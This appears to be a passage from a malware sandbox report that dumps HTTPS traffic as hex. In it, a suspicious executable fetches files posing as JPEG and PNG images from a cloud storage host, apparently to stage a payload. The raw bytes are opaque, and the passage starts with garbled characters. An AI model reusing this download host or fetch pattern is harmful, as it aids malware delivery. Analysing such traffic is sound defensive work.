hy#Mp#gcaO3#?@3`qL6M8PGVY[\f[#!bg.,.",,O
2025-01-15 03:23:47 UTC	4096	IN	Data Raw: 82 84 85 0f ca 78 02 84 c2 05 c0 72 79 51 90 9d 16 47 97 96 97 cb 14 86 aa 17 8e 17 ca 54 2a f4 5f 2d f0 5e 2c fd 5d 23 f6 a0 5b 6c ae c5 c5 73 49 b0 ff 35 4d 87 cf b9 d1 83 e7 35 f4 c4 fa 89 cb b1 87 7d c7 c8 c9 4a 48 36 ed bd d6 5b 1b 01 38 59 99 d4 d3 2f 0a fb 87 64 99 20 d6 95 c2 69 ae ec c4 ff 0c f4 64 a0 0b 3f 06 63 a3 f2 f5 05 20 d5 69 4e 33 f8 f9 fa 05 f5 88 f8 74 4d 09 23 5a 00 8e 5b 0b 83 5a 02 80 57 09 85 42 ec 12 5f e7 9d 4f 12 9c 4d 15 91 41 18 96 4c 17 a9 72 2a aa 69 d9 ad f6 e9 d3 2e 61 af d7 11 59 33 5b 0d 69 bf 68 ce b4 db 38 b3 66 c8 32 bb b0 40 41 42 68 31 bd cd 1a b0 88 b1 4f 26 72 c7 3a 5c 1a 0c 68 8a 23 54 dc 86 5a 17 a3 d7 8c 9f a5 64 2b eb 2e 98 5e b0 11 6a e2 bc 50 b6 19 30 e4 3d 7d f9 02 70 4e 07 7f 0d 42 c4 7b 7c 7d fe fc 7b a1 Data Ascii: xryQGT_-^,]#[lsI5M5}JH6[8Y/d id?c iN3tM#Z[ZWB_OMALri.aY3[ih8f2@ABh1O&r:\h#TZd+.^jP0=}pNB{\|}{
2025-01-15 03:23:47 UTC	4096	IN	Data Raw: 96 50 05 c6 87 03 51 b1 54 f9 c1 b7 b2 40 27 d2 93 e0 a6 c0 7f 0c 42 65 64 c5 18 5e 90 25 d3 5d 5c 5b 2e e3 b7 93 6e a5 2f fc 52 51 50 77 b1 be b3 b4 b5 5f f2 47 46 45 88 43 36 cb b3 aa c5 2a 87 17 3a 39 9e 0b f2 15 be c1 46 8b df eb 16 a6 d5 13 d5 da d7 d8 d9 51 18 34 28 11 20 1f 22 88 f3 8c ad 70 a7 e8 01 49 24 13 12 65 b2 f8 74 29 86 fa 0a 83 fb 10 04 07 04 03 a4 17 33 01 01 02 88 71 09 83 f1 7d 05 59 e3 2f d2 f1 f0 49 f8 a5 12 14 15 95 2a a0 ae 5a 1b 1f 12 9b 8c 21 21 22 10 db ac 5b c3 ab d7 ca 24 ab a7 2f 2f 30 5b 36 db 99 e6 c9 c8 61 b0 47 c7 6f d5 d9 d1 bf be 1b ca 01 a5 7d 80 47 cd d4 4b 4c 4d 75 7a f0 e6 12 53 23 1c 00 04 08 b1 93 a8 a3 a2 dd 9b 6c e4 a2 17 61 ec 3b 83 83 5c 3c 83 f4 9b 91 90 29 f8 37 97 4f b2 02 50 f3 3a 86 33 47 bb 0c 7d 0b 47 Data Ascii: PQT@'Bed^%]\[.n/RQPw_GFEC6:9FQ4( "pI$et)3q}Y/IZ!!"[$//0[6aGo}GKLMuzS#la;\<)7OP:3G}G
2025-01-15 03:23:47 UTC	4096	IN	Data Raw: 8e 79 76 23 7b 77 ad 1f fb eb cd 8e 04 6f 66 4b 6c b0 18 b6 f0 d8 99 17 d2 9c 16 59 25 a3 a1 a2 a3 27 5c a2 d5 a4 2a 4a a8 87 65 51 8b 35 c5 d4 f3 b4 4a 92 3a c8 de fa bb 2c 39 d8 ff c0 69 a4 83 c4 15 a0 87 c8 43 8c c8 ef 1c 46 88 d3 52 3c d2 15 3c d4 54 37 d8 59 22 d4 af 6c 22 13 44 1e 1c c0 70 96 80 a8 e9 67 a2 ec 67 a8 ec d3 20 7a b4 f7 7f b0 f5 39 10 f8 73 bb ff 7d 11 02 82 ed 01 87 fc 0e 75 80 f4 f9 ae f0 f2 2a 9a 60 76 52 13 84 9f 50 14 3b c8 92 5c 1f 97 58 1d a8 66 20 a9 62 24 e7 ce 2a a1 6d 2a af c3 2d ac df 32 b1 ca 3c 3a b4 61 c7 c6 c5 c6 cf 98 c2 c0 64 d4 32 24 04 45 cb 0e 48 6d 2d 0b 4c 61 29 0f 50 65 35 13 54 69 31 17 58 1d 3d 1b 5c 11 39 1f 60 35 05 23 64 02 01 27 68 e2 2e e5 70 e4 2a e0 6c fa 36 fd 6c fc 32 f8 60 f2 3e f5 68 f4 3a f0 94 0a Data Ascii: yv#{wofKlY%'\JeQ5J:,9iCFR<<T7Y"l"Dpgg z9s}u`vRP;\Xf b$m-2<:ad2$EHm-La)Pe5Ti1X=\9`5#d'h.p*l6l2`>h:
2025-01-15 03:23:47 UTC	4096	IN	Data Raw: ed e5 e7 ea e2 a8 fd e5 ab e5 e3 e7 fb f9 f0 fe fa ee f0 b6 ff fd f8 ea 96 96 9d 9e 9f a0 f3 94 93 96 92 ab ad 85 89 c4 c4 d8 8d cb c1 df c4 d5 db 94 c6 c6 d6 db dc 9a dd d3 cf 9e d3 af b6 ab ac e4 ac a8 ae bc a0 ab a7 a5 b7 af bb b9 be bc de de d5 d6 d7 d8 8b ec eb ee eb d3 d5 cd c1 8c 8c 90 c5 83 89 87 9c 8d 83 cc 9e 9e 8e 93 94 d2 95 9b 87 d6 84 8c 9d 93 94 dc 94 90 96 74 68 63 6f 6d 7f 67 73 61 66 64 06 06 0d 0e 0f 10 43 24 23 26 20 1b 1d 35 39 6a 6e 6e 78 3e 69 49 53 56 56 45 49 06 41 5d 47 49 5f 45 42 40 0f 53 50 5e 5f 39 3f 36 37 38 6b 0c 0b 0e 09 33 35 6d 61 2c 2c 30 65 23 29 27 3c 2d 23 6c 3e 3e 2e 33 34 72 35 3b 27 76 08 37 37 3f 23 35 29 71 3e 14 04 1a 0a 10 45 12 06 0a 05 0f 66 66 6d 6e 6f 70 23 44 43 45 4c 7b 7d 55 59 0f 15 1d 1f 12 1a a0 f5 Data Ascii: thcomgsafdC$#& 59jnnx>iISVVEIA]GI_EB@SP^_9?678k35ma,,0e#)'<-#l>>.34r5;'v77?#5)q>Effmnop#DCEL{}UY
2025-01-15 03:23:47 UTC	4096	IN	Data Raw: 83 84 09 79 78 77 89 8a 8b 8c 73 71 70 6f 8a b2 d3 94 8a b6 d7 98 99 9a 9b 9c 63 61 60 5f a1 a2 a3 a4 71 59 58 57 a9 aa ab ac 53 51 50 4f b1 b2 b3 b4 01 94 f7 b8 47 45 44 43 bd be bf c0 02 e0 83 c4 3b 39 38 37 c9 ca cb cc 15 31 30 2f d1 d2 d3 d4 2b 29 28 27 d9 da db dc ab fa 9f e0 1f 1d 1c 1b e5 e6 e7 e8 6b ce ab ec 13 11 10 0f f1 f2 f3 f4 2d 09 08 07 f9 fa fb fc 03 01 00 ff fb 2a 43 04 fb 2e 47 08 09 0a 0b 0c f3 f1 f0 ef 11 12 13 14 c1 e9 e8 e7 19 1a 1b 1c e3 e1 e0 df 21 22 23 24 b2 0c 67 28 29 2a 2b 2c d3 d1 d0 cf 31 32 33 34 e1 c9 c8 c7 39 3a 3b 3c c3 c1 c0 bf 41 42 43 44 e3 6b 07 48 49 4a 4b 4c b3 b1 b0 af 51 52 53 54 8d a9 a8 a7 59 5a 5b 5c a3 a1 a0 9f 6a 4d 23 64 7a 49 27 68 69 6a 6b 6c 93 91 90 8f 71 72 73 74 b5 89 88 87 79 7a 7b 7c 83 81 80 7f 81 Data Ascii: yxwsqpoca`_qYXWSQPOGEDC;98710/+)('k-C.G!"#$g()+,12349:;<ABCDkHIJKLQRSTYZ[\jM#dzI'hijklqrstyz{\|
2025-01-15 03:23:47 UTC	4096	IN	Data Raw: ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee 95 96 97 98 99 9a da de de da da e6 e6 ea ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 6f 90 91 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	64592	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:48 UTC	115	OUT	GET /FOM-51.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:48 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:48 GMT Content-Type: image/jpeg Content-Length: 4859125 Connection: close x-oss-request-id: 67872A441AFF65393634BA14 Accept-Ranges: bytes ETag: "EE6CA3EEA7F9B1C81059AEF570A28C02" Last-Modified: Tue, 22 Oct 2024 14:48:26 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9060732723227198118 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 7myj7qf5scgQWa71cKKMAg== x-oss-server-time: 15
2025-01-15 03:23:48 UTC	3548	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: 42 cc 3b 8b 04 80 dc 85 89 f7 db 86 4b ce 35 a8 af fe 41 fa 0c 61 84 11 0a 1b 74 3d 42 1d 8b ea 87 f2 e5 bc 47 e4 9b f0 a1 6a 44 3d f7 aa 85 fc 7c 66 99 44 42 66 08 55 a3 c2 72 d1 08 6f b1 b4 88 fb 14 6d f7 a2 e6 b1 0a 4b a7 cc 8d 43 ca 42 55 ba 2d 50 3b de 75 e4 69 e5 a6 45 fe 3f 88 51 f2 8f 9a e2 49 ea ad 5a da 33 4e a3 3e d5 c6 6e c7 d1 e8 c5 06 f1 38 15 6c 30 51 e9 b2 ec bd f6 b7 43 20 6c 37 8a c5 69 36 0c 71 9e eb 37 4c 5e 64 2d ba 15 c3 be 23 92 69 e8 07 8e 31 8e 32 59 a6 f5 54 50 cc a6 0d cb 70 1b 9f a8 37 28 8e 8c a8 b6 58 2d d6 5f 3e e5 51 37 e9 fc c0 79 61 49 dc 37 0b d7 f9 38 30 21 a3 63 4a 50 26 80 0f ad 3c d1 89 c4 d8 15 09 d3 5c 40 7c a4 b7 fe fc 2d 89 04 24 ad d9 e2 58 57 f8 d2 39 21 f1 85 1f 5d ae 5b 62 f2 2d 86 49 5e 70 f6 14 48 c1 63 66 Data Ascii: B;K5Aat=BGjD=\|fDBfUromKCBU-P;uiE?QIZ3N>n8l0QC l7i6q7L^d-#i12YTPp7(X-_>Q7yaI780!cJP&<\@\|-$XW9!][b-I^pHcf
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: 55 c7 be c5 78 ee 64 cd 2e 33 d8 00 81 41 01 fc 96 f3 c2 68 5b e3 86 3a 52 14 eb 36 47 9c d8 8b 1b 75 f9 f2 3e 9e 6a 5c af ac 2d 01 59 f6 e4 ed f8 06 96 96 25 32 d9 55 c2 2b cd d9 43 84 c0 8f da 8a 2e 4e 40 af e4 ef 68 35 b1 db 47 6c 13 6a 58 3b 70 ee a1 fc f0 ea cf 6e ad 25 29 22 ee a3 88 45 8b c6 2a 08 f5 8e fe d9 90 64 31 57 f5 7b 69 f4 88 ee 13 ee 88 13 dd fe 62 86 d5 85 88 9b aa 98 eb ae 62 7e dd 59 12 19 69 99 a8 6c 0d 6f 92 a5 a3 77 6e d0 53 bb 17 f4 5f d6 e6 1f 4a cf 6d f7 92 79 05 8e d4 33 04 97 04 b6 95 73 06 7a e5 99 05 66 48 93 78 17 26 6e e6 6b 89 ba b3 4a 9a d7 ee e1 45 2d c4 d9 46 38 58 a3 e7 df cb c0 a8 8b 48 54 ab ab c9 2b 10 28 f1 1f 7e 00 6d 13 0b 8f 10 81 c8 3f 99 d0 f4 09 6e a8 37 1d 0d 72 39 87 d5 f2 12 b6 cb fa 95 c3 25 72 27 66 14 Data Ascii: Uxd.3Ah[:R6Gu>j\-Y%2U+C.N@h5GljX;pn%)"E*d1W{ibb~YilownS_Jmy3szfHx&nkJE-F8XHT+(~m?n7r9%r'f
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: 45 e5 5e 68 30 58 bc f3 3c 4c f2 55 29 ac 64 46 5d 3a 9d 79 a5 77 53 ff 44 c3 e1 4a bd ab 8a bd d4 75 ea e1 2a ee 82 37 b9 6b 8b 4d 69 c9 72 b7 c8 66 c5 06 1b db fb d1 44 d1 f5 36 5b 9f 70 43 e3 b9 cc 9d 24 02 a0 15 1a ee 33 51 a6 de 11 4b 6e 87 8e 08 53 81 c7 39 1d bd 06 98 20 7a 9b 47 b4 aa c5 34 08 11 e2 e2 77 2e 0a 28 8a 33 9b 65 f3 3a 67 17 4e 17 e5 d0 55 59 0e 94 52 4b da e3 d0 7a 25 77 a6 34 0e aa 88 bd f9 1f a8 08 f8 42 83 d2 79 43 2f 04 cc aa cd fb df 7b c0 14 58 c6 51 a2 5e 37 42 12 e5 22 53 12 9f 78 be b5 39 59 c1 b2 1b 55 3b d8 b9 8f e2 36 93 6c 44 d2 80 9d 04 d2 7c 54 bb a2 23 a2 95 da 63 2d 43 a0 da 70 ab 87 c5 6b ef 95 b1 2a bd 9b 5e 30 06 ef 83 ea 01 6e 63 4c 04 68 89 7a 93 34 80 33 0b 68 86 5c 60 2f 6b 05 3f d6 5f 19 77 94 92 45 e3 e4 5c Data Ascii: E^h0X<LU)dF]:ywSDJu7kMirfD6[pC$3QKnS9 zG4w.(3e:gNUYRKz%w4ByC/{XQ^7B"Sx9YU;6lD\|T#c-Cpk^0ncLhz43h\`/k?_wE\
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: c3 8f ae 6b a3 4e 8c 8c 89 8a 8b bb 66 fa 15 1c 40 d7 45 6a 0d 3c 0a ea 62 81 9f 9c 9d 9e b3 ea 13 ac cb d0 8f f2 eb dc 40 32 33 15 5f dc 2b 1c db c0 69 be 0d f5 9a fc b0 a5 8c 0d 14 ff 63 f5 b9 a4 8d b4 ad be 22 34 78 e5 cc 65 24 7e f7 de d1 9a 58 cb 99 5d 98 d0 31 c2 08 cf dd 57 4b b4 a1 1c 1c 1b b7 d4 3e 65 a5 e6 e3 12 2f 65 7b e1 ee 0d 0c 0b fa 6d b3 dc fd 3b 87 d8 fc 7c 7e dd 05 02 03 04 6d 3f 57 b6 57 83 5f 29 0d 83 6b 34 1d fb 27 35 0f 16 ff 3b 16 00 1b 13 18 f6 b1 66 21 22 45 ad 33 ab 43 0c 2d c3 cf b7 0c 2e 49 3f 87 34 b9 62 37 5e 2b 2f 1b 64 ba fa 3f 3e 3f 40 43 80 25 cd 43 cb 23 6c 4d a3 0c bf 51 4e c4 67 da 15 57 3c e4 e7 7f b8 99 36 7f 5e 9c 51 d2 37 d9 7b 63 80 ac 75 5b 79 44 1a 33 ad 95 60 78 00 1d 23 18 b0 aa 39 1f 25 1a a3 fc d2 ed 9d d9 Data Ascii: kNf@Ej<b@23_+ic"4xe$~X]1WK>e/e{m;\|~m?WW_)k4'5;f!"E3C-.I?4b7^+/d?>?@C%C#lMQNgW<6^Q7{cu[yD3`x#9%
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: 2c 4d a6 a0 20 85 bf 62 23 7d 82 17 a5 30 de 99 08 fd bd 71 3f 39 61 73 43 04 d3 d0 32 6b df ec 1f f3 aa 3d 7b 0a ac d4 c6 23 eb ed fa 6d 34 b5 ed 0c e2 bd 2c ed e9 83 bc 4d 87 be 3e 5f 02 ba 42 ba da 19 39 86 8b 76 98 c3 52 60 65 25 e5 a0 40 e2 e2 87 c6 57 a0 12 c5 86 50 1e d8 82 61 b1 e8 7b 70 85 f2 3b b7 dd 68 1e f0 82 30 32 37 c7 33 54 06 4a a4 ff 6e be 09 90 75 b8 64 7a 3e 21 db ce 6f 5c 64 44 b9 59 00 93 ff 91 7d e8 f9 20 94 90 60 c8 6f 44 97 f9 8e b9 3f 4e a3 4f 16 b9 47 f2 81 03 6a 69 e2 21 55 c2 e5 97 52 04 26 ef ae c8 f0 44 77 88 66 31 a0 58 9d 00 de 3e a6 b9 c8 84 84 87 db 90 d9 4b f7 1b 42 d5 22 bd 5d b8 39 1d f5 0a 38 c0 d7 f6 11 bc a9 e2 0c 57 c6 d6 d2 a9 8d 6a 24 3b 74 4e 4b d1 a2 f8 51 7c c5 b8 66 61 13 6e 3f 61 be 64 71 7e 98 bf 08 7c a7 Data Ascii: ,M b#}0q?9asC2k={#m4,M>_B9vR`e%@WPa{p;h0273TJnudz>!o\dDY} `oD?NOGji!UR&Dwf1X>KB"]98Wj$;tNKQ\|fan?adq~\|
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: 94 13 4b ba 59 94 28 79 a8 e0 04 9d d9 34 71 d1 8c 52 64 54 a0 2b 3c 9c 31 d6 31 5f dd b0 e1 72 5d e3 d3 0b c9 a4 8c fb 2c 74 4a 06 21 9f e8 77 ac 0e 7a 81 04 97 79 d9 a7 dd 40 e7 17 4f ab a4 75 32 04 32 e1 14 a8 64 5f 11 ea c6 56 50 d4 0e a9 a2 60 f3 93 c9 f3 5b a6 1a 47 9d 93 21 ea 45 f3 4d b6 6f fb a9 28 33 1d 5a 7f 16 47 e8 cf ef 81 45 43 18 41 ba 88 08 34 0b 76 70 e2 cb ca 69 b2 1e ec 31 ce 87 99 c8 ea 75 26 3c 60 26 76 99 85 6f 63 0e 0a a5 9a c7 af 0b ca ae 36 08 d2 74 3d 9c 9f c4 1f ad bf b0 84 3c 40 df 89 dd 19 5a d3 d7 79 ab d7 2e 2a a0 76 2f e6 75 8b 65 39 ad 89 15 b0 7f fa 18 c5 c7 ac b2 d7 44 6c f2 c9 cc af e9 40 b3 57 30 a5 f3 1f f5 06 cf 73 14 18 f9 0d 72 f7 19 79 98 57 e5 11 81 1a 41 9d 8f a7 7d ea 03 5c 14 65 f8 a6 73 dd d4 70 b3 48 cb 66 Data Ascii: KY(y4qRdT+<11_r],tJ!wzy@Ou22d_VP`[G!EMo(3ZGECA4vpi1u&<`&voc6t=<@Zy.*v/ue9Dl@W0sryWA}\espHf
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: 7e 30 df f0 37 2c a5 37 4f 4c e2 13 7c d1 f8 91 c5 fa be cf 9e 00 28 6a dd ff a3 dc ca c7 5f af 65 39 20 43 0f 76 27 75 a7 a8 f1 fa 94 9f e4 b0 f7 a8 82 87 3b 0a 53 b7 20 93 c5 42 21 59 4a 44 cf 6d 00 01 ce a2 49 10 81 c0 c4 c2 ee b6 e5 6b df 46 07 d3 21 07 58 b3 27 fb fe f2 08 3e bc 0d 03 78 9c 6a b4 0f 93 15 14 83 ae 77 c8 e3 dc db 3a e9 9b 9d 1c c6 8a 7b 52 97 8e 19 85 b7 fb c2 a6 6b fd 94 63 78 f1 63 13 10 63 6f 18 d5 92 b6 d1 b7 a2 84 9b d4 90 d9 84 fc ef a5 a6 c5 ba b6 64 c7 fe d4 d4 23 c0 71 8e e4 e7 87 ee e0 7b 41 ab 03 0e d0 58 f4 61 98 ac 8a bc 7f 9b 4c 5a 39 6c 26 9a c8 d3 6c b4 71 fa 5a e7 33 7a 60 25 a6 5a 83 a7 05 e0 89 ab f3 71 7b 1f 34 10 5a c9 8f 29 a8 53 58 fe 56 32 96 b8 9e 3a d9 ee 0c 60 09 71 b5 2b 70 55 a8 b7 e2 8b 6b 95 ad 89 2f ca Data Ascii: ~07,7OL\|(j_e9 Cv'u;S B!YJDmIkF!X'>xjw:{Rkcxccod#q{AXaLZ9l&lqZ3z`%Zq{4Z)SXV2:`q+pUk/
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: e7 04 8e cb 30 d6 37 73 19 58 f3 d5 05 6a d7 87 a6 a4 b9 8e a3 5d cc d5 8b 34 ca e2 6a a0 78 0e e3 7b 1c 29 5a a6 5b 55 62 f1 e6 be 23 a0 43 ad e5 d7 92 f7 b3 96 4f 03 54 71 e0 f1 af 06 a6 f0 00 d1 7e 0a b5 f4 09 e0 28 9e fb 47 84 32 32 1b 8a 9f c1 2e bc e2 8e a0 2e ff 90 dd 7e c7 83 94 f3 d0 5a 05 5e 0b 2c b3 a4 f8 4a e7 0f 49 f6 3d ff 18 c0 83 1f 5d f8 00 bd db 23 65 28 8b 33 a9 4d 2b 81 26 66 9c dc 18 b6 96 f5 c0 bf 49 34 bb da 49 5e 06 d6 0f 1c e9 ba c4 8c 4c bb 0d 49 a4 6a fd d0 ef 7e 6b 35 34 10 92 02 52 67 16 58 07 e6 47 e0 dc bb dc 14 5e a1 d9 f0 67 70 2c ed fa 8f ca 33 6f ad 4f 2b e0 78 1e f0 18 a4 c5 e4 02 81 a3 0f 9f 0e 1b 45 92 27 fc 39 cc be 57 c0 4c f8 c9 c4 77 47 d4 ac 33 24 78 3d f0 d1 e4 b8 d2 ce 88 69 21 65 3a 2c 1f 95 b1 20 31 6f 2a 06 Data Ascii: 07sXj]4jx{)Z[Ub#COTq~(G22..~Z^,JI=]#e(3M+&fI4I^LIj~k54RgXG^gp,3oO+xE'9WLwG3$x=i!e:, 1o*
2025-01-15 03:23:48 UTC	4096	IN	Data Raw: be d0 2a 4c 19 64 3b ba 0e 94 4e 20 15 9f c2 86 3a 4f 85 f3 ee 58 cd 35 91 2f 10 20 88 da 3e c0 05 f8 22 66 79 44 a0 a8 56 48 12 18 4c 26 67 bf 07 bd 0e 8a 4f b7 62 4f 64 7b 46 88 30 02 d0 63 3b 3d 3c 2c 8c 51 e6 c8 ad 43 c5 a4 f1 40 de 99 5c b6 f7 dc 3c 7d 03 cf d9 bc 50 d4 5c 1b dd e0 e1 e2 85 6d a9 c3 e7 80 7d cd 51 5d 8b 19 fb d4 7c 96 d7 f0 1c 7d 23 ef f9 3d bf d8 fd 3e b9 23 40 ea b3 f0 27 06 c6 ea 0b 81 ce 0f cf e6 d6 16 19 12 9a 03 7d 2b 37 16 c5 97 7f 38 15 f7 a1 1d 02 22 4b 1f a3 92 9d c1 35 82 21 2c 90 85 a7 9e 04 28 f5 b1 d9 e8 96 b1 29 17 fc ee 8c bf c7 80 28 0e ea b1 fb 7e 34 d7 f3 21 35 2f 26 43 09 73 42 b5 c9 ae 73 45 1e 38 5f c7 ea 8b e0 a7 ba f0 52 79 4f c7 e5 a4 8b dd 4b 28 03 3d a1 25 9f ac b6 97 e3 25 09 20 15 2d d1 f6 c6 3d 63 88 5a Data Ascii: *Ld;N :OX5/ >"fyDVHL&gObOd{F0c;=<,QC@\<}P\m}Q]\|}#=>#@'}+78"K5!,()(~4!5/&CsBsE8_RyOK(=%% -=cZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	64604	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:57 UTC	115	OUT	GET /FOM-52.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:58 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:58 GMT Content-Type: image/jpeg Content-Length: 5062442 Connection: close x-oss-request-id: 67872A4EECB4DB363074591A Accept-Ranges: bytes ETag: "70C21DA900796B279A09040B00953E40" Last-Modified: Mon, 18 Nov 2024 15:32:22 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 360383310743409046 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: cMIdqQB5ayeaCQQLAJU+QA== x-oss-server-time: 14
2025-01-15 03:23:58 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 